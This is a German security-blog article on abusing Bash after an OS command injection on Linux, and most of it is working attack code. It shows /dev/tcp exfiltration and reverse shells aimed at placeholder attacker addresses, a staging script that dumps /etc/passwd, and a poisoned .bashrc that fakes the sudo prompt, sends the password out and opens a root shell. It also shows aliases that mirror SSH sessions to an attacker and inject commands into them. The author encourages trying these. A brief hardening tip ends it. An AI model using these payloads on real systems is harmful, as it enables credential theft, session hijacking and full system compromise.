Bash - Nutzen bei Linux Command Injection

Bash

Nutzen bei Linux Command Injection

Ahmet Hrnjadovic
von Ahmet Hrnjadovic
Lesezeit: 10 Minuten

Keypoints

So nutzen Angreifer die Bash zu ihrem Vorteil

  • Bash hat eine kompakte Syntax, um Daten über das Netzwerk zu senden
  • Komplexe, dynamische Payloads für Remote-Shells können im vornherein vorbereitet werden
  • Bash verfügt über vielseitige Fähigkeiten zur Manipulation von Datenströmen
  • Schützen Sie Ihre ~/.bashrc

Die Bash ist ein vielseitiges Interface, um mit dem Linux-Betriebsystem und seiner reichen Sammlung an Programmen zu interagieren. Dieser Artikel präsentiert ein paar Beispiele, die einige von Bashs Fähigkeiten vorführen (und die weiterer Linux-Programme) um etwas Inspiration zu geben. Wenn eine OS Command Injection Schwachstelle auf einer Linux Maschine vorhanden ist, kann ein gut präpariertes Bash-Kommando weitere Zugriffsmöglichkeiten schaffen. Das ist eine Voraussetzung für die gezeigten Beispielen.

Daten über das Netzwerk senden

Wenn eine Blind Injection möglich ist, kann versucht werden Daten über einen seperaten Kanal zurück zu senden:

# executed on victims machine
bash -c "id &>/dev/tcp/*yourip*/*yourport*"

Hier lassen wir den id Befehl laufen und schreiben den Output in eine spezielle Datei, die eine TCP Verbindung zur spezifizierten IP-Adresse und Port herstellt. Bevor dieser Befehl läuft, sollte die Maschine, auf die verbunden wird, bereit sein die Verbindung anzunehmen. Netcat (ncat, die ausgereiftere Implementierung des Nmap Projekt) ist eine gute Wahl:

# executed on attackers machine
ncat -vvlp *port*

Mit $cr1pTK1ddi3 Verschlüsselung:

# executed on victims machine
bash -c "id | base64 >/dev/tcp/*yourip*/*port*"

Mit echter Verschlüsselung (wenn Netcat auf dem Zielsystem installiert ist):

# executed on victims machine
bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"id\""

Payloads Stagen

Wenn eine Situation mehr erfordert als das Ausführen eines simplen Befehls, kann mit einer Bash-Instanz auf dem Zielsystem interagiert werden:

# executed on victims machine
bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"bash\""

Grössere Payloads, die schlecht direkt injiziert werden können, sind mit der initialen Verbindung zur Remote-Shell auf dem Zielsystem stagebar. Netcat ist ein sehr praktisches Werkzeug, aber es mag vielleicht nicht auf dem Zielsystem installiert sein. Etwas in dieser Art kann Netcat in diesem Fall ersetzen:

# executed on victims machine
bash -c "exec 101<>/dev/tcp/*yourip*/*port*; bash <&101 >&101 2>&1 &"

exec *file-descriptor*<>*file* öffnet eine Datei zum Lesen und Schreiben. Wenn diese Operation auf die spezielle Datei oben angewendet wird, wird ein Socket geöffnet, der von hier an durch diesen File-Descriptor referenziert werden kann.

Danach wird eine Bash-Instanz im Hintergrund gestartet, die ihren Input vom Socket liest und ihren Output wieder in den Socket schreibt. Netcat auf unserem ausgehenden System ermöglicht die Interaktion mit der Bash Instanz:

# executed on attackers machine
root@kali:~# ncat -vvlp 80
Ncat: Version 7.70 ( https://nmap.org/ncat/ )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:33818.
uname -s
Linux

whoami
testuser

Wie zuvor gezeigt, hat Netcat eine Option, die es erlaubt ein Shell-Kommando auszuführen, nachdem eine Verbindung hergestellt wurde. Das gibt uns die Möglichkeit, die Interaktion mit der Remote-Shell zu automatisieren, sobald sie sich verbindet.

Ein solches Script kann so aussehen:

#!/bin/bash

# script is executed on the attackers machine

echo "uname -s"
read -r line
echo "$line" >uname.out

echo "whoami"
read -r line
echo "$line" >whoami.out

Um in diesem Kontext einen String auszugeben, wird der String über die hergestellte Verbindung zu unserer Remote-Shell geschickt. Dort wird der String von der Bash Instanz gelesen und evaluiert. Nach jedem Befehl wartet das Script mit read auf den Resultierenden Output. Netcat verwendet das Script wie folgt:

 # executed on attackers machine
ncat --vvlp *listening-port* --sh-exec "./script.sh"

Eine weiterentwickelte, robustere Version des Scripts kann so aussehen:

#!/bin/bash

run() {
    # run() echoes the command specified for the remote shell to execute,
    # then it echoes a second command which makes the remote shell return
    # a delimiter. The second command is only executed after the first has
    # finished, allowing us to associate all output up to the delimiter with
    # the first command.
    #
    # takes:
    #   $1  command to execute.
    #   $2  file to output to, defaults to default.log if omitted.
    cmd="$1"
    outfile="$2"

    # prefix commands in log for readability
    echo -n ">>> " >>"${outfile:=default.log}"
    printf "%s\n" "$cmd" | tee -a "$outfile"
    echo "echo -e \"\ncustomdelimiter101\""
    while read -rs line
    do
        if ((${#line} > 0))
        then
            if [[ "$line" != "customdelimiter101" ]]
            then
                printf "%s" "$line" >>"$outfile"
                echo >>"$outfile"
            else
                break
            fi
        else
            echo >>"$outfile"
        fi
    done
}

run whoami
run "uname -s"
run "cat /etc/passwd"
echo "exit"

Wenn die ~/.bashrc eines Benutzers schreibbar ist, können wir eine einfach Privilege-Escalation versuchen (vorrausgesetzt der Benutzer hat sudo-Rechte).

# executed on victims machine
intercept_sudo() { 
    E=echo
    S=sudo
    K="/dev/tcp/*yourip*/*yourport*"
    H="/dev/null"
    F=()
    for((C=0;C<3;C++)); do
        read -rsp"[$S] password for `id -nu`: " P
        $E;$S -S true <<<"$P" &>$H
        if (($?==0)); then
            $E "${P@Q}">$K;unalias $S
            $E "$1: an unknown error occured"
            break
        fi
        sleep 0.5
        if ((C<2)); then
            $E Sorry, try again.
        else
            $E "$S: 3 incorrect password attempts"
        fi
    done
    ($S -S su -c "exec 134<>$K;bash <&134 >&134 2>&1 &" root &>$H <<<"$P")
}
alias sudo="intercept_sudo"

Hier wird ein Alias für sudo auf eine Funktion erstellt, die vorher definiert wird. Die ausgeführte Funktion verlangt das Passwort des Benutzers genau wie sudo. Wenn das Passwort korrekt ist, wird es der Angreifermaschine geschickt und eine Reverse-Shell mit Root-Rechten im Hintergrund gestartet. Der Befehl des Benutzers wird nicht ausgeführt, weil es eine Vielzahl an Randfällen zu bedenken gibt. Die --keep-open Option sollte Netcat zugefügt werden, wenn dieser Code erprobt wird.

Ein sehr cooler Use-Case von bashrc-poisoning ist lokales Man-in-the-Middle einer Bash oder SSH-Session.

# executed on victims machine
ssh_mitm() {
    #connection to the monitoring Netcat
    exec 43<>/dev/tcp/*yourip*/*yourport*
    rm /tmp/tonw 2>/dev/null
    mkfifo /tmp/tonw 2>/dev/null
    cat </tmp/tonw >&43 &
    bash -i -c "ssh $*" | tee -a /tmp/tonw
}
alias ssh=ssh_mitm

Dieses kleine Stück Code in der .bashrc eines Benutzers erlaubt es, eine laufende SSH-Session von einer anderen Maschine über das Netzwerk zu monitoren. Es sieht ziemlich cool (und gruselig) aus, also empfehle ich es auszuprobieren; nicht vergessen den Netcat-Listener vorher zu starten. Die Schönheit dieses Ansatzes besteht darin, dass es keinerlei Manipulationen auf der Netzwerkebene gibt. Gerade bevor Daten im Terminal des Benutzers erscheinen, wird eine Kopie erstellt und über das Netzwerk versandt. Keine Fehlermeldungen, keine Warnmeldungen. Der Code wurde erfolgreich mit Public-Key und Challenge-Response Authentication mit einem PAM (in unserem Fall ein YubiKey) getestet.

Wenn wir mehr sein wollen als ein stiller Beobachter, wird es ein wenig komplizierter. Die folgende Version fügt einen weiteren Kanal hinzu, über den ein Angreifer Kommandos in die laufende SSH-Session injizieren kann.

# executed on victims machine
filter() {
    #connection to the injecting Netcat
    exec 44<>/dev/tcp/*yourip*/*secondport*
    while :; do
        cat <&0 &
        job=$!
        tput cnorm
        read -r cmd <&44
        exec 2>/dev/null
        kill $job
        echo -ne "\r"
        read -rs hide
        cat <<<"$cmd" >>/tmp/tossh
        exec 2>&1
    done
}

ssh_mitm() {
    #connection to the monitoring Netcat
    exec 43<>/dev/tcp/*yourip*/*yourport*
    rm /tmp/tonw /tmp/tossh 2>/dev/null
    mkfifo /tmp/tonw 2>/dev/null
    mkfifo /tmp/tossh 2>/dev/null
    cat </tmp/tonw >&43 &
    bash -i -c "{ { cat /tmp/tossh & }; cat <&0; } | ssh -tt $*" | tee -a /tmp/tonw | filter
}
alias ssh=ssh_mitm

Der Code, den wir ursprünglich verwendet haben, bleibt gleich. Hier kombinieren wir ssh’s stdin mit dem Input-Stream, der unsere injizierten Kommandos trägt. Eine neue Filter-Stufe ist auch dem Ende der Pipeline angehängt um zu verhindern, dass unsere injizierten Kommandos im Terminal des Benutzers angezeigt werden. Die Filter-Funktion ist auch für das Empfangen der injizierten Kommandos zuständig. Dadurch wird sichergestellt, dass sie bereit ist unser Kommando abzufangen. Nachdem ein Kommando erhalten wird, schreibt die Filter-Funktion das Kommando in einen FIFO, welches weiter vorne in der Pipeline gelesen und ssh gefüttert wird. Weil der jetzige Code noch ein wenig ungeschliffen ist und nur eine Zeile filtert (die Zeile, in der unser Kommando magisch im Terminal des Benutzer erscheint), darf das injizierte Kommando keinen Output generieren.

Zur Vorbereitung der Ausführung des obigen Codes setzt der Angreifer 2 weitere Netcat Instanzen auf: Eine, um Kommandos zu injizieren (die injizierende Instanz) und eine weitere, um den Output der Injizierten Kommandos zu erhalten (die horchende Instanz). Wir spezifizieren eine Umleitung mit den injizierten Kommandos, damit sie den Output zur horchenden Netcat Instanz schicken und nicht auf stdout schreiben. Folgendes kann in die injizierende Netcat Instanz kopiert werden.

# executed on victims machine
bash -c "cat /etc/passwd >/dev/tcp/*yourip*/*thirdport*"

Wenn Folgendes injiziert wird, wird eine neue Reverse-Shell auf dem System gestartet in das rein ssh’ed wurde. So wird ein unabhängiger Kommunikationskanal gesichert.

# executed on victims machine
bash -c "(exec 99<>/dev/tcp/*yourip*/*thirdport*; bash <&99 >&99 2>&1 &)"

Und so, vorrausgesetzt alles läuft glatt, können wir ohne Administratorrechte eine fremde SSH-Session nutzen, um eine Shell auf einer neuen Maschine zu bekommen. Mit Bash. Ja, das ist in der Tat sehr cool.

Mit dem oben gezeigten Beispiel kann einiges schief gehen. Stabilität und der korrekte Umgang mit schwierigen Situationen wurden zu Gunsten einer kleinen Payload-Grösse weggelassen.

Eine Möglichkeit die Grösse des Payloads klein zu halten, ist das Filtern der Angriffsmaschine auszulagern:

ssh_mitm() {

    bash -i -c "fltr() { exec 40<>/dev/tcp/*yourip*/*yourport*; { cat <&0 >&40 & }; cat <&40; };\
                fltr2() { exec 41<>/dev/tcp/*yourip*/*secondport*; { cat <&0 >&41 & }; cat <&41; };\
                fltr | ssh -tt $* | fltr2"
}

alias ssh=ssh_mitm

Dieser Code leitet alle Benutzereingaben an das System des Angreifers weiter, wo es nach Gutdünken manipuliert werden kann.

Die modifizierten Benutzereingaben werden dann an SSH zurückgespiesen. Die SSH-Ausgaben werden ebenfalls an das System des Angreifers geschickt, um etwaige Filterungen oder Modifikationen vornehmen zu können. Zum Schluss werden die gefilterten SSH-Ausgaben entgegengenommen und im Terminal angezeigt.

Durch die Auslagerung dieses Filterung-Prozesses kann die vollständige Kontrolle über den Datenstrom gewährleistet, Filter, Modifikationen und Command Injections ohne Einfluss auf die Payload-Grösse appliziert werden. Mit diesem Ansatz wurde die Latenzzeit bei einer stabilen Netzwerkverbindung nicht auf ein verdächtiges Mass erhöht.

Fazit

Bash mag vielleicht nicht die perfomanteste, schönste oder stabilste Lösung sein, aber es eignet sich gut für kleine, schnell erstellte und dynamische Payloads. Die Beispiele zeigen wie bashs vielseitige Fähigkeiten in der Manipulation von Datenströmen, auch ein Sicherheitsrisiko darstellen können. Ausserden ist chown root:usergroup ~/.bashrc; chmod 640 ~/.bashrc vielleicht keine schlechte Idee.

Über den Autor

Ahmet Hrnjadovic

Ahmet Hrnjadovic arbeitet seit dem Jahr 2017 im Bereich Cybersecurity, wobei er sich auf die Bereiche Linux, sichere Programmierung und Web Application Security Testing fokussiert. (ORCID 0000-0003-1320-8655)

Sie wollen mehr als einen simplen Security Test mit Nessus und Nmap?

Unsere Spezialisten kontaktieren Sie gern!

×
Security Testing

Security Testing

Tomaso Vasella

Active Directory-Zertifikatsdienste

Active Directory-Zertifikatsdienste

Eric Maurer

Fremde Workloadidentitäten

Fremde Workloadidentitäten

Marius Elmiger

Active Directory-Zertifikatsdienste

Active Directory-Zertifikatsdienste

Eric Maurer

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv